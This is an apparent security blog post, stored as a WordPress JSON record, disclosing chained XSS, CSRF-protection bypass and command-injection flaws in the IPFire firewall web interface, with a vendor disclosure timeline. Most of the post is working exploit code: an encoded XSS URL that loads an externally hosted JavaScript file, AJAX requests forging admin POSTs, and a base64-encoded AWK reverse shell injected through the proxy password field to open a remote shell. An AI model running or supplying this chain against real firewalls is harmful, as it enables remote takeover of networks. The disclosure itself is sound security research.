{"id":2030,"date":"2016-05-04T22:53:54","date_gmt":"2016-05-04T20:53:54","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=2030"},"modified":"2016-07-25T00:33:59","modified_gmt":"2016-07-24T22:33:59","slug":"xss-rce-ipfire-2-19-core-update-101-remote-command-execution","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/xss-rce-ipfire-2-19-core-update-101-remote-command-execution\/","title":{"rendered":"[XSS &#038; RCE] IPFire < 2.19 Core Update 101 - Remote command Execution"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong>IPFire &lt; 2.19 Core Update 101 suffers from\u00a0Remote Command Execution vulnerability (RCE &#8211; reverse-shell) and Cross-Site Scripting (XSS).<\/strong><\/p>\n<p style=\"text-align: left;\">After months (years?) without analyzing any Linux routers \/ firewalls distributions like <a title=\"[XSS &amp; CSRF RCE] pfSense 2.0.1 Remote root Access\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/xss-csrf-rce-pfsense-2-0-1-remote-root-access\/\" target=\"_blank\">pfSense<\/a>,\u00a0<a title=\"[CSRF RCE] m0n0wall 1.33 Remote root Access\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/csrf-rce-m0n0wall-1-33-remote-root-access\/\" target=\"_blank\">m0n0wall<\/a>, <a title=\"IPCop\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/xss-rce-ipcop-2-1-4-remote-command-execution\/\" target=\"_blank\">IPCop<\/a>, <a href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/xss-csrf-smoothwall-3-1-multiple-vulnerabilities\/\" target=\"_blank\">SmoothWall<\/a>\u00a0or\u00a0<a href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/lfd-rce-zeroshell-2-0rc2-multiple-vulnerabilities\/\" target=\"_blank\">ZeroShell<\/a>, I wish to test more thoroughly the IPCop fork : IPFire.<\/p>\n<p>IPFire has two main branches, 2.17 and 2.19 (the version 3 is still in beta). IPFire is a fork of IPCop, and most of the <a href=\"http:\/\/www.ipfire.org\/hardware\" target=\"_blank\">appliances<\/a> come equipped with the distribution of high quality.<\/p>\n<p>IPFire allows to establish a demilitarized zone, use DNS, DHCP, NTP, proxy, all with a strong security. Originally, this distribution is a fork of the project IPCop, itself a fork of Smoothwall. However, since the IPCop\u00a0new 2.x branch, \u00a0the projects are developed independently.<\/p>\n<p>IPFire is intended to protect small infrastructures individuals or SMEs. It can work with a small hardware configuration and exploit the\u00a0principle of colored networks for functional safety architecture:<\/p>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>1 red network<\/strong><\/span> connected to the Internet (WAN)<\/li>\n<li><span style=\"color: #339966;\"><strong>1 green network<\/strong><\/span> connected to the local network (LAN)<\/li>\n<li><span style=\"color: #ff6600;\"><strong>1 orange network<\/strong><\/span>, associated with DMZ<\/li>\n<li><span style=\"color: #0000ff;\"><strong>1 blue network<\/strong><\/span> components for WiFi (WLAN)<\/li>\n<\/ul>\n<p>IPFire is configured by WebGUI accessible by HTTPS (Perl \/ CGI scripts on port <strong>444<\/strong>) or via a SSH terminal. The latest version is May 02, 2016 (correcting these vulnerabilities), namely 2.19 Core Update 101.<\/p>\n<p>To follow the various analyzes such firewall \/ router solutions, I test\u00a0the solution of IPFire after using it in my own network. Few <a href=\"https:\/\/www.exploit-db.com\/exploits\/34839\/\" target=\"_blank\">vulnerabilities<\/a> of IPFire already identified, I wanted to dig this distribution.<\/p>\n<p>Well it is very robust and truly complete, however, it was possible for me to use one of its weaknesses to obtain a complete remote <em><a title=\"[Pentesting] \u00c9tablir un reverse-shell en une ligne\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/pentesting-etablir-un-reverse-shell-en-une-ligne\/\" target=\"_blank\">reverse-shell<\/a><\/em> .<\/p>\n<h2>Analysis of the solution<\/h2>\n<p>My interest has focused on the code of the WebGUI, written entirely in Perl \/ CGI. These interfaces are generally the main attack\u00a0vector of a system. Although I have not done a complete pentest of the solution, some attack vectors have been detected to support my point.<\/p>\n<h3>General remarks on the WebGUI<\/h3>\n<p>The WebGUI is made from\u00a0many Perl \/ CGI scripts. To connect, IPFire is listening on an HTTPS port <strong>444<\/strong>.<\/p>\n<p>Authentication is done by Basic Auth system with the &#8220;admin&#8221; account (the root account is only\u00a0exploitable via SSH).<\/p>\n<p>A mechanism to protect the solution from <a title=\"CSRF\" href=\"https:\/\/fr.wikipedia.org\/wiki\/Cross-site_request_forgery\" target=\"_blank\">CSRF<\/a>\u00a0attacks is present. IPFire checks on all pages the presence of the HTTP header &#8220;referer&#8221;. If this header is not present or is not set to the URL of IPFire itself, the page loads but no POST parameters are processed.<\/p>\n<p>The WebGUI makes several calls to Perl&#8217;s <a title=\"system\" href=\"http:\/\/perldoc.perl.org\/functions\/system.html\" target=\"_blank\">system()<\/a>\u00a0functions to apply the configuration on\u00a0the distribution. Most calls to the system() are properly secured. This function takes 1 to N argument(s). The first is mandatory, and the following N being the parameters of the command to execute. When a parameter of the\u00a0command is variable, it should not be included in the chain of the first argument, but among those who follow. Indeed, the arguments after the first are processed automatically to avoid injections:<\/p>\n<pre>system('\/usr\/bin\/touch $x'); \/\/ RCE exploitable if $x == 'x &amp;&amp; cat \/etc\/passwd';\r\nsystem('\/usr\/bin\/touch', $x); \/\/ injection auto-protected<\/pre>\n<p>IPFire properly manage this principle throughout its source code, except for rare exceptions, including one that allowed the exploitation &#8230;<\/p>\n<h3><span id=\"XSS_non-persistent_en_GET\">XSS reflected in\u00a0GET<\/span><\/h3>\n<p>The \/srv\/web\/ipfire\/cgi-bin\/ipinfo.cgi file lets you run a whois on an arbitrary IP through the WebGUI. The value passed is checked before being tested. However, it is re-displayed in the page. This display is produced by the line 87:<\/p>\n<pre>&amp;Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);<\/pre>\n<p>Note that the code of this file, especially the vulnerable instruction above is inherited from IPCop which IPFire is a fork. In my IPCop vulnerabilities submission in 2014, this gap had been fixed, but it does not appear that this correction is present in\u00a0IPFire.<\/p>\n<p>The data are not sufficiently cleaned. Indeed, when transmits a canonical XSS vector as:<\/p>\n<pre>&lt;script&gt;alert('XSS_by_Yann_CAM')&lt;\/script&gt;<\/pre>\n<p>The only protection applied is the client browser native URLEncode. In other words, this injection\u00a0doesn&#8217;t work\u00a0on Chrome nor Firefox, but on IE:<\/p>\n<div id=\"attachment_2032\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20160403-IPFire_2.17_RXSS003.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2032\" class=\"size-medium wp-image-2032\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20160403-IPFire_2.17_RXSS003-300x137.png\" alt=\"Canonical RXSS alert IPFire\" width=\"300\" height=\"137\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20160403-IPFire_2.17_RXSS003-300x137.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20160403-IPFire_2.17_RXSS003-768x351.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20160403-IPFire_2.17_RXSS003-1024x468.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20160403-IPFire_2.17_RXSS003.png 1455w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2032\" class=\"wp-caption-text\">Canonical RXSS alert IPFire<\/p><\/div>\n<p>PoC :<\/p>\n<pre>https:\/\/&lt;IPFire&gt;:444\/cgi-bin\/ipinfo.cgi?&lt;script&gt;alert(\/RXSS-Yann_CAM_-_Security_Consultant_@ASafety_-_SYNETIS\/)&lt;\/script&gt;<\/pre>\n<h3>Bypass CSRF protection via the referer<\/h3>\n<p>IPFire (as IPCop) is protected against CSRF attacks by checking the referrer of each requests. Thus, it is not possible to automate direct CSRF, which fullfill\u00a0\/ send a specific form in IPFire.<\/p>\n<p>However, there is\u00a0a reflected\u00a0XSS vulnerability in GET. And although it may seems trivial and unnecessary, this vulnerability will be of great help.<\/p>\n<p>The idea is to use the GET XSS to inject JavaScript code into IPFire. As IPFire only blocks the POST data if the referer is not valid and that our XSS injection transiting via GET data, then our JS code runs well in IPFire (see previous paragraph). Thus, to perform a POST request with a valid referer in IPFire, it is necessary to follow these steps:.<\/p>\n<ul>\n<li>Exploit\u00a0XSS vulnerability to inject JS code which will load an third-party JS script in the context of IPFire<\/li>\n<li>This external file.js will be able to perform all GET \/ POST requests (via AJAX and JQuery) on IPFire in the context of the firewall, so with a valid referrer.<\/li>\n<li>It will be possible to simulate a CSRF via a single XSS GET.<\/li>\n<\/ul>\n<p>To prove my words, here is one possible scenario. The pentester defined a JS script on a web server that belongs to him, accessible by IPFire: https:\/\/&lt;PENTESTER_WEBSITE&gt;\/x.js where x.js can be:<\/p>\n<pre>var headx=document.getElementsByTagName('head')[0];\r\nvar jq= document.createElement('script');\r\njq.type= 'text\/javascript';\r\njq.src= 'http:\/\/code.jquery.com\/jquery-latest.min.js';\r\nheadx.appendChild(jq);\r\nfunction loadX(){ \/\/ AJAX CSRF bypass referer checking !\r\n $.ajax({\r\n type: 'POST',\r\n url: \"https:\/\/&lt;IPFire_IP&gt;:444\/cgi-bin\/&lt;TARGETED_PAGE&gt;\",\r\n contentType: 'application\/x-www-form-urlencoded;charset=utf-8',\r\n dataType: 'text',\r\n data: '&lt;YOUR_DATA&gt;'\r\n }); \/\/ payload of your choice\r\n }\r\nsetTimeout(\"loadX()\",2000);<\/pre>\n<p>This JavaScript code will be executed in the context of IPFire and performs the following actions:<\/p>\n<ul>\n<li>Load\u00a0the JQuery library on the fly in the DOM<\/li>\n<li>Declaring a JS function that use\u00a0the JQuery&#8217;s $ajax object to achieve an arbitrary POST request in the context of IPFire.<\/li>\n<li>2 seconds delay before execution of the POST Ajax function to ensure that the dynamic loading of JQuery in the DOM has been achieved.<\/li>\n<\/ul>\n<p>Now we can\u00a0exploit the XSS GET presented above to load that file http:\/\/&lt;PENTESTER_WEBSITE&gt;\/x.js directly in the context of IPFire. This file is loaded via the following instructions:<\/p>\n<pre>var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text\/javascript';script.src= 'http:\/\/&lt;PENTESTER_WEBSITE&gt;\/x.js';head.appendChild(script);<\/pre>\n<p>IPFire only cleans (sanitize) certain characters, such as semicolons (;). Thus, it is necessary to escape via the JavaScript escape() function the\u00a0whole payload\u00a0(use this <a href=\"http:\/\/scriptasylum.com\/tutorials\/encode-decode.html\" target=\"_blank\">converter<\/a>):<\/p>\n<pre>%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09<\/pre>\n<p>Finally, having encoded injection, the final GET XSS syntax is generated to add\u00a0decoding (<a title=\"unescape\" href=\"http:\/\/www.w3schools.com\/jsref\/jsref_unescape.asp\" target=\"_blank\">unescape()<\/a>) on the fly and to evaluate the payload <a title=\"eval\" href=\"http:\/\/www.w3schools.com\/jsref\/jsref_eval.asp\" target=\"_blank\">eval()<\/a>) in the context of the IPFire page:<\/p>\n<pre>https:\/\/&lt;IPFire_IP&gt;:8443\/cgi-bin\/ipinfo.cgi?&lt;script&gt;eval(unescape(\"%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09\"))&lt;\/script&gt;<\/pre>\n<p>These vectors are only compatible with IE due to other URLEncode native browser, cf. first paragraph.<\/p>\n<p>X.js arbitrary file loaded on the fly via XSS will therefore allow us to perform any type of request (GET \/ POST) to any page of IPFire, and that, in the context of IPFire with a referer valid.<\/p>\n<h3><span id=\"Remote_Command_Execution\">Remote Command Execution<\/span><\/h3>\n<p>The \/srv\/web\/ipfire\/cgi-bin\/proxy.cgi file is vulnerable to arbitrary shell command injection. Indeed, the\u00a0line 4137 uses the syntax of the Perl system() function to execute a shell command by concatenating variable data directly in the command:<\/p>\n<pre>system(\"\/usr\/sbin\/htpasswd -b $userdb $str_user $str_pass\");<\/pre>\n<p>The variable $str_pass is transmitted by POST data to the page (so in a context with a valid referer), and it is not cleaned. It is possible to change this variable to chain shell commands within the vulnerable perl statement. The name of the POST variables to define this variable are &#8220;NCSA_PASS&#8221; and &#8220;NCSA_PASS_CONFIRM&#8221; (which must be of equal value).<\/p>\n<p>To chain shell commands, the delimiters &#8220;&amp;&amp;&#8221;, &#8220;;&#8221; Or &#8220;||&#8221; are commonly used in Unix environments. However, in the case of IPFire, the characters &#8220;&amp;&amp;&#8221; and &#8220;;&#8221; are not included in the injections, they are not usable. The only alternative is the &#8220;LOGICAL OR&#8221; via &#8220;|| &#8220;. For a command that follows this &#8220;||&#8221; is executed, it is necessary that the command that precedes returns &#8220;false&#8221; (or sequential logic). Thus the binary \/usr\/sbin\/htpasswd should return an error code. This can be done by simply executing the command\u00a0without specifying a password. The following injection follows:<\/p>\n<pre>\/usr\/sbin\/htpasswd -b $userdb $str_user\u00a0|| arbitrarily command<\/pre>\n<p>Thus, the following functional PoC works\u00a0to create an &#8220;x&#8221; file in \/tmp; while\u00a0the referer is valid:<\/p>\n<pre>&lt;html&gt;\r\n &lt;body&gt;\r\n &lt;form name='x' action='https:\/\/&lt;IPFire_IP&gt;:444\/cgi-bin\/proxy.cgi' method='post'&gt;\r\n &lt;input type='hidden' name='NCSA_PASS' value='||touch \/tmp\/x;#' \/&gt;\r\n &lt;input type='hidden' name='NCSA_PASS_CONFIRM' value='||touch \/tmp\/x;#' \/&gt;\r\n &lt;input type='hidden' name='NCSA_USERNAME' value='yanncam' \/&gt;\r\n &lt;input type='hidden' name='ACTION' value='Ajouter' \/&gt;\r\n &lt;\/form&gt;\r\n &lt;script&gt;document.forms['x'].submit();&lt;\/script&gt;\r\n &lt;\/body&gt;\r\n&lt;\/html&gt;<\/pre>\n<p><strong>Note<\/strong>: The value of the &#8220;ACTION&#8221; field must be set according to the current language of IPFire. In this example, IPFire is configured in French.<\/p>\n<h2><span id=\"Drsquoune_XSS_vers_une_CSRF_pour_obtenir_finalement_un_RCE_reverse-shell_complet\">From an XSS to CSRF to finally gain a full RCE (reverse-shell)<\/span><\/h2>\n<p>Following a brief presentation of the three techniques above (GET XSS, CSRF protection bypass and finally RCE), see in detail a complete PoC that provides an interactive reverse-shell on IPFire. To obtain such a shell, the combined use of the preceding vulnerabilities is necessary.<\/p>\n<h3>The general scenario<\/h3>\n<ul>\n<li>GET XSS exploited to load a JS script on the fly in the context IPFire<\/li>\n<li>Perform a POST ajax request in the context of IPFire by JS script previously loaded.<\/li>\n<li>This Ajax POST request will be to the vulnerable page with\u00a0arbitrary command execution vulnerability. It will be done with a valid referer defined in context.<\/li>\n<li>Arbitrary command sent and run\u00a0a reverse-shell on the system.<\/li>\n<\/ul>\n<h3>Preliminary notes<\/h3>\n<p>IPFire, in its latest version, is a light\u00a0distribution. Thus, very few tools \/ binaries are present to help recover a reverse-shell. IPFire has no netcat, socat, telnet, php, python nor ruby. But there are the\u00a0Perl and the Unix AWK utilities. Both tools allow easily recover a shell on a machine. Check the <a title=\"[Pentesting] \u00c9tablir un reverse-shell en une ligne\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/pentesting-etablir-un-reverse-shell-en-une-ligne\/\" target=\"_blank\">reverse-shell cheat sheet of ASafety<\/a> for a complete list of one-line techniques.<\/p>\n<p>As part of this PoC, the technique used is via AWK command, including a one-line version developed by ASafety:<\/p>\n<pre>awk 'BEGIN {s = '\/inet\/tcp\/0\/&lt;IP&gt;\/&lt;PORT&gt;'; while(42) { do{ printf 'shell&gt;' |&amp; s; s |&amp; getline c; if(c){ while ((c |&amp; getline) &gt; 0) print $0 |&amp; s; close(c); } } while(c != 'exit') close(s); }}' \/dev\/null<\/pre>\n<p>Running this command in a Unix terminal, with netcat (nc -vv -l -p &lt;PORT&gt;) on the pentester&#8217;s machine &lt;IP&gt;, retrieve a full interactive shell on the system.<\/p>\n<h3><span id=\"Conception_du_payload\">Design\u00a0payload<\/span><\/h3>\n<p>After reading this article, you&#8217;ll understand that some characters are not usable in\u00a0injections in\u00a0the WebGUI of IPFire\u00a0like semicolons (;). Thus, it is necessary to encode the AWK payload in base64 (after replacing &lt;IP&gt; and &lt;PORT&gt; of course, which is not done in the following):<\/p>\n<pre>YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsgfX0nIC9kZXYvbnVsbA==<\/pre>\n<p>The idea will be to send the base64 encoded payload to IPFire, and use the internal shell of IPFire to decode and interpret it on the fly. To decode this base64 string, IPFire has the binary tool &#8220;openssl&#8221;. This will make it possible to decode the base64 via the command:<\/p>\n<pre>echo '&lt;BASE64&gt;' | openssl enc -a -d<\/pre>\n<p>But\u00a0this &#8220;openssl&#8221; command accepts only base64 input values which are divided by pack of 64 characters. Thus, all 64 characters, add a &#8220;\\n&#8221; in our previous payload:<\/p>\n<pre>YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\\nfX0nIC9kZXYvbnVsbA==<\/pre>\n<p>This payload is now fully encoded and can be decoded on the fly:<\/p>\n<pre>echo -e \"YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\\nfX0nIC9kZXYvbnVsbA==\" | openssl enc -a -d<\/pre>\n<p>We need now to interpret this payload. For this, add backtick and &#8220;eval&#8221;:<\/p>\n<pre>eval echo -e \"YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\\nfX0nIC9kZXYvbnVsbA==\" | openssl<\/pre>\n<p>Finally, with the syntax of the RCE\u00a0injection in the file proxy.cgi, the POST data &#8220;NCSA_PASS&#8221; and &#8220;NCSA_PASS_CONFIRM&#8221; will be equal to:<\/p>\n<pre>||eval `echo -e \"YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\\nfX0nIC9kZXYvbnVsbA==\" | openssl enc -a -d`;#<\/pre>\n<h3><span id=\"PoC_HTML_necessite_un_referer_valide\">PoC HTML (with valid referrer)<\/span><\/h3>\n<p>This following\u00a0PoC requires a valid referer, language IPFire French (field &#8220;ACTION&#8221;) and a listening netcat on &lt;IP&gt; and &lt;PORT&gt; (payload unmodified)<\/p>\n<pre>&lt;html&gt;\r\n &lt;body&gt;\r\n &lt;form name='x' action='https:\/\/&lt;IPFire_IP&gt;:444\/cgi-bin\/proxy.cgi' method='post'&gt;\r\n &lt;input type='hidden' name='NCSA_PASS' value='||eval `echo -e \"YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\\nOyB9fScgL2Rldi9udWxs\" | openssl enc -a -d`;#' \/&gt;\r\n &lt;input type='hidden' name='NCSA_PASS_CONFIRM' value='||eval `echo -e \"YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\\nOyB9fScgL2Rldi9udWxs\" | openssl enc -a -d`;#' \/&gt;\r\n &lt;input type='hidden' name='NCSA_USERNAME' value='yanncam' \/&gt;\r\n &lt;input type='hidden' name='ACTION' value='Ajouter' \/&gt;\r\n &lt;\/form&gt;\r\n &lt;script&gt;document.forms['x'].submit();&lt;\/script&gt;\r\n &lt;\/body&gt;\r\n&lt;\/html&gt;<\/pre>\n<p>If the referrer is valid, this PoC is functional on any browser (tested on Firefox with <a title=\"TamperData\" href=\"https:\/\/addons.mozilla.org\/fr\/firefox\/addon\/tamper-data\/\" target=\"_blank\">TamperData<\/a>).<\/p>\n<h3><span id=\"PoC_XSS_to_bypass_CSRF_protection_to_RCE_to_Reverse-shell\">PoC XSS to bypass CSRF protection to RCE to Reverse-shell<\/span><\/h3>\n<p>The final PoC, combining all previous techniques:<\/p>\n<h4>JS file<\/h4>\n<pre>var headx=document.getElementsByTagName('head')[0];\r\nvar jq= document.createElement('script');\r\njq.type= 'text\/javascript';\r\njq.src= 'http:\/\/code.jquery.com\/jquery-latest.min.js';\r\nheadx.appendChild(jq);\r\nfunction loadX(){ \/\/ AJAX CSRF bypass referer checking !\r\n $.ajax({\r\n type: 'POST',\r\n url: \"https:\/\/&lt;IPFire_IP&gt;:444\/cgi-bin\/proxy.cgi\",\r\n contentType: 'application\/x-www-form-urlencoded;charset=utf-8',\r\n dataType: 'text',\r\n data: 'NCSA_USERNAME=yanncam&amp;ACTION=Ajouter&amp;NCSA_PASS=||eval `echo -e \"YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\\nKTsgfX0nIC9kZXYvbnVsbA==\" | openssl enc -a -d`;#&amp;NCSA_PASS_CONFIRM=||eval `echo -e \"YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\\nKTsgfX0nIC9kZXYvbnVsbA==\" | openssl enc -a -d`;#'\r\n });\r\n }\r\nsetTimeout(\"loadX()\",2000);<\/pre>\n<p><strong>Notes\u00a0:<\/strong><\/p>\n<ul>\n<li>Functional injection tested on IE<\/li>\n<li>Change IPFire&#8217;s IP in the JS file<\/li>\n<li>Change POST payload &#8220;NCSA_PASS&#8221; and &#8220;NCSA_PASS_CONFIRM&#8221; with yours\u00a0that contains the correct &lt;IP&gt; \/ &lt;PORT&gt;<\/li>\n<li>Change the value of the &#8220;ACTION&#8221; field with the one in your language.<\/li>\n<\/ul>\n<h4>Final URL<\/h4>\n<pre>https:\/\/&lt;IPFire_IP&gt;:8443\/cgi-bin\/ipinfo.cgi?&lt;script&gt;eval(unescape(\"%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09\"))&lt;\/script&gt;<\/pre>\n<h3><span id=\"Video_PoC_de_demonstration\">Demonstration video<\/span><\/h3>\n<p>The following video illustrates all of these techniques.<\/p>\n<ul>\n<li>Executing a canonical JavaScript alert() (XSS) in IE<\/li>\n<li>XSS and CSRF with\u00a0referer bypass to obtain a reverse-shell<\/li>\n<\/ul>\n<p><iframe loading=\"lazy\" width=\"600\" height=\"450\" src=\"https:\/\/www.youtube.com\/embed\/rBd21aXU83E?feature=oembed\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><strong>Note<\/strong>: The video shows the vulnerabilities on the latest version of the 2.17 branch of IPFire (Core Update 99), however they are fully functional up to version 2.19 Core Update 100 included.<\/p>\n<h2>Conclusion and endnotes<\/h2>\n<p>The team in charge of IPFire development was alerted April 3, 2016 with all the examples, PoC and video demonstration. A <a href=\"https:\/\/bugzilla.ipfire.org\/show_bug.cgi?id=11087\" target=\"_blank\">security ticket<\/a> was created, private, to exchange on the exploitation of vulnerabilities and the best methods to fix them.<\/p>\n<p>Very quickly (within 2 days after), corrective measures were put in place. I would also like to thank\u00a0Michael TREMER\u00a0for his availability, his kindness, his correction speed and quality of the IPFire project\u00a0\ud83d\ude42<\/p>\n<p>April 06, 2016, Michael TREMER\u00a0sent\u00a0a &#8220;<a href=\"http:\/\/seclists.org\/oss-sec\/2016\/q2\/15\" target=\"_blank\">CVE request<\/a>&#8221; for these security weaknesses, that has not been validated. After a second attempt denied the April 8, 2016, it was decided to push patches to a next release.<\/p>\n<p>April 27, 2016, a corrected version IPFire 2.19 Core Update 101 is available for testing, and May 2, 2016 the release is available!<\/p>\n<p>&nbsp;<\/p>\n<div id=\"attachment_2033\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/acknowledgement.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2033\" class=\"size-medium wp-image-2033\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/acknowledgement-300x209.png\" alt=\"IPFire acknowledgement\" width=\"300\" height=\"209\" 